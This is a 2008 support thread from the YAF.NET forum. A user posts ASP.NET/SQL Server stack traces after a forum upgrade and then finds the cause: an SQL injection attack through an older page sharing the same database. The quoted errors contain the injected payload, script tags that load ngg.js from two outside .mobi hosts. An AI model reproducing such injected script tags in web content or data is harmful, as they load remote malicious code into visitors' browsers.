cfishing
  •  cfishing
  • 61.4% (Friendly)
  • YAF Forumling Topic Starter
2008-07-21T15:34:56Z
I get this error after upgrading.

Conversion failed when converting the nvarchar value '77<script src=http://www.alloc' to data type int.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: Conversion failed when converting the nvarchar value '77<script src=http://www.alloc' to data type int.

Source Error:


Line 106: this.Controls.AddAt( 0, _header );
Line 107:
Line 108: this.Controls.Add( forumControl );
Line 109:
Line 110: // add the footer control after the page...


Source File: c:\Inetpub\wwwroot\CFForumUpgrade\App_Code\YAF\Forum.cs Line: 108

Stack Trace:


[SqlException (0x80131904): Conversion failed when converting the nvarchar value '77<script src=http://www.alloc' to data type int.]
System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection) +925466
System.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection) +800118
System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj) +186
System.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj) +1932
System.Data.SqlClient.SqlDataReader.ConsumeMetaData() +31
System.Data.SqlClient.SqlDataReader.get_MetaData() +62
System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString) +297
System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async) +1005
System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, DbAsyncResult result) +132
System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method) +32
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior, String method) +122
System.Data.SqlClient.SqlCommand.ExecuteDbDataReader(CommandBehavior behavior) +12
System.Data.Common.DbCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) +7
System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +141
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +137
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet) +86
YAF.Classes.Data.DBAccess.GetDatasetBasic(SqlCommand cmd, Boolean transaction) +410
YAF.Classes.Data.DBAccess.GetData(SqlCommand cmd, Boolean transaction) +63
YAF.Classes.Data.DB.pageload(Object sessionID, Object boardID, Object userKey, Object ip, Object location, Object browser, Object platform, Object categoryID, Object forumID, Object topicID, Object messageID, Object donttrack) +537

[ApplicationException: Sql Exception with error number 245 (Tries=0)]
YAF.Classes.Data.DB.pageload(Object sessionID, Object boardID, Object userKey, Object ip, Object location, Object browser, Object platform, Object categoryID, Object forumID, Object topicID, Object messageID, Object donttrack) +840
YAF.Classes.Base.ForumPage.InitUserAndPage() +1067
YAF.Classes.Base.ForumPage.ForumPage_Init(Object sender, EventArgs e) +89
System.Web.UI.Control.OnInit(EventArgs e) +99
System.Web.UI.UserControl.OnInit(EventArgs e) +74
System.Web.UI.Control.InitRecursive(Control namingContainer) +321
System.Web.UI.Control.AddedControl(Control control, Int32 index) +221
System.Web.UI.ControlCollection.Add(Control child) +146
YAF.Forum.Forum_Load(Object sender, EventArgs e) in c:\Inetpub\wwwroot\CFForumUpgrade\App_Code\YAF\Forum.cs:108
System.Web.UI.Control.OnLoad(EventArgs e) +99
System.Web.UI.Control.LoadRecursive() +47
System.Web.UI.Control.LoadRecursive() +131
System.Web.UI.Control.LoadRecursive() +131
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +1436



Sponsor
cfishing
  •  cfishing
  • 61.4% (Friendly)
  • YAF Forumling Topic Starter
2008-07-21T15:37:07Z
If I run installation again, I get this error.

'/CFForumUpgrade/languages/english.xml<script src=http://www.allocbn.mobi/ngg.js></script><script src=http://www.adwadb.mobi/ngg.js></script>' is not a valid virtual path.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Web.HttpException: '/CFForumUpgrade/languages/english.xml<script src=http://www.allocbn.mobi/ngg.js></script><script src=http://www.adwadb.mobi/ngg.js></script>' is not a valid virtual path.

Source Error:


Line 158: {
Line 159: // no access to this forum
Line 160: output = String.Format( "{0} {1}", output, PageContext.Localization.GetText( "NO_FORUM_ACCESS" ) );
Line 161: }
Line 162:


Source File: c:\Inetpub\wwwroot\CFForumUpgrade\controls\ForumList.ascx.cs Line: 160

Stack Trace:


[HttpException (0x80004005): '/CFForumUpgrade/languages/english.xml<script src=http://www.allocbn.mobi/ngg.js></script><script src=http://www.adwadb.mobi/ngg.js></script>' is not a valid virtual path.]
System.Web.VirtualPath.Create(String virtualPath, VirtualPathOptions options) +3626815
System.Web.HttpServerUtility.MapPath(String path) +79
YAF.Classes.Utils.YafLocalization.LoadTranslation() +789
YAF.Classes.Utils.YafLocalization.GetText(String page, String tag) +36
YAF.Classes.Utils.YafLocalization.GetText(String text) +16
YAF.Controls.ForumList.GetForumLink(DataRow row) in c:\Inetpub\wwwroot\CFForumUpgrade\controls\ForumList.ascx.cs:160
ASP.controls_forumlist_ascx.__DataBind__control4(Object sender, EventArgs e) in c:\Inetpub\wwwroot\CFForumUpgrade\controls\ForumList.ascx:13
System.Web.UI.Control.OnDataBinding(EventArgs e) +99
System.Web.UI.Control.DataBind(Boolean raiseOnDataBinding) +206
System.Web.UI.Control.DataBind() +12
System.Web.UI.Control.DataBindChildren() +204
System.Web.UI.Control.DataBind(Boolean raiseOnDataBinding) +216
System.Web.UI.Control.DataBind() +12
System.Web.UI.WebControls.Repeater.CreateItem(Int32 itemIndex, ListItemType itemType, Boolean dataBind, Object dataItem) +130
System.Web.UI.WebControls.Repeater.CreateControlHierarchy(Boolean useDataSource) +454
System.Web.UI.WebControls.Repeater.OnDataBinding(EventArgs e) +53
System.Web.UI.WebControls.Repeater.DataBind() +72
System.Web.UI.Control.DataBindChildren() +204
System.Web.UI.Control.DataBind(Boolean raiseOnDataBinding) +216
System.Web.UI.Control.DataBind() +12
System.Web.UI.Control.DataBindChildren() +204
System.Web.UI.Control.DataBind(Boolean raiseOnDataBinding) +216
System.Web.UI.Control.DataBind() +12
System.Web.UI.WebControls.Repeater.CreateItem(Int32 itemIndex, ListItemType itemType, Boolean dataBind, Object dataItem) +130
System.Web.UI.WebControls.Repeater.CreateControlHierarchy(Boolean useDataSource) +454
System.Web.UI.WebControls.Repeater.OnDataBinding(EventArgs e) +53
System.Web.UI.WebControls.Repeater.DataBind() +72
System.Web.UI.Control.DataBindChildren() +204
System.Web.UI.Control.DataBind(Boolean raiseOnDataBinding) +216
System.Web.UI.Control.DataBind() +12
System.Web.UI.Control.DataBindChildren() +204
System.Web.UI.Control.DataBind(Boolean raiseOnDataBinding) +216
System.Web.UI.Control.DataBind() +12
System.Web.UI.Control.DataBindChildren() +204
System.Web.UI.Control.DataBind(Boolean raiseOnDataBinding) +216
System.Web.UI.Control.DataBind() +12
YAF.Pages.forum.BindData() in c:\Inetpub\wwwroot\CFForumUpgrade\pages\forum.ascx.cs:82
YAF.Pages.forum.Page_Load(Object sender, EventArgs e) in c:\Inetpub\wwwroot\CFForumUpgrade\pages\forum.ascx.cs:66
System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) +15
System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) +33
System.EventHandler.Invoke(Object sender, EventArgs e) +0
System.Web.UI.Control.OnLoad(EventArgs e) +99
System.Web.UI.Control.LoadRecursive() +47
System.Web.UI.Control.LoadRecursive() +131
System.Web.UI.Control.LoadRecursive() +131
System.Web.UI.Control.LoadRecursive() +131
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +1436



cfishing
  •  cfishing
  • 61.4% (Friendly)
  • YAF Forumling Topic Starter
2008-07-21T16:05:27Z
Sql injection attack from one of my old pages that was serving data from the same db that yaf is in....

About Us

The YAF.NET is an open source .NET forum project. YAF.NET is supported by an team of international developers who are build community by building community software.

Powered by Resharper Donate with PayPal button

Project Twitter Updates

Copyright © YetAnotherForum.NET & Ingo Herbote. All rights reserved